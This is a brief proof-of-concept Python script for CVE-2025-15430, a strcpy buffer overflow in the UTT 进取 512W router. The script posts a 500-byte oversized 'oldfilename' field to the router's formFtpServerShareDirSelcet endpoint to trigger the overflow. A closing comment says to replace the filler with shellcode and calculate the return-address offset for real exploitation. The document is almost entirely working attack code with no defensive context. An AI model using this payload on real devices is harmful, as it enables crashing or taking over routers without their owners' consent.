CVE-2025-15430 UTT 进取 512W 路由器 strcpy 缓冲区溢出漏洞

import requests # CVE-2025-15430 PoC - Buffer Overflow in UTT 进取 512W # Target: /goform/formFtpServerShareDirSelcet # Vulnerability: strcpy without bounds checking on oldfilename parameter target_ip = "192.168.1.1" # Router IP url = f"http://{target_ip}/goform/formFtpServerShareDirSelcet" # Generate payload with 500 bytes to trigger overflow # Adjust length based on target buffer size payload = { "oldfilename": "A" * 500, "newfilename": "test.txt" } try: response = requests.post(url, data=payload, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Payload length: {len(payload['oldfilename'])} bytes") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") # Note: For actual exploitation, replace 'A' with shellcode # and calculate exact offset to overwrite return address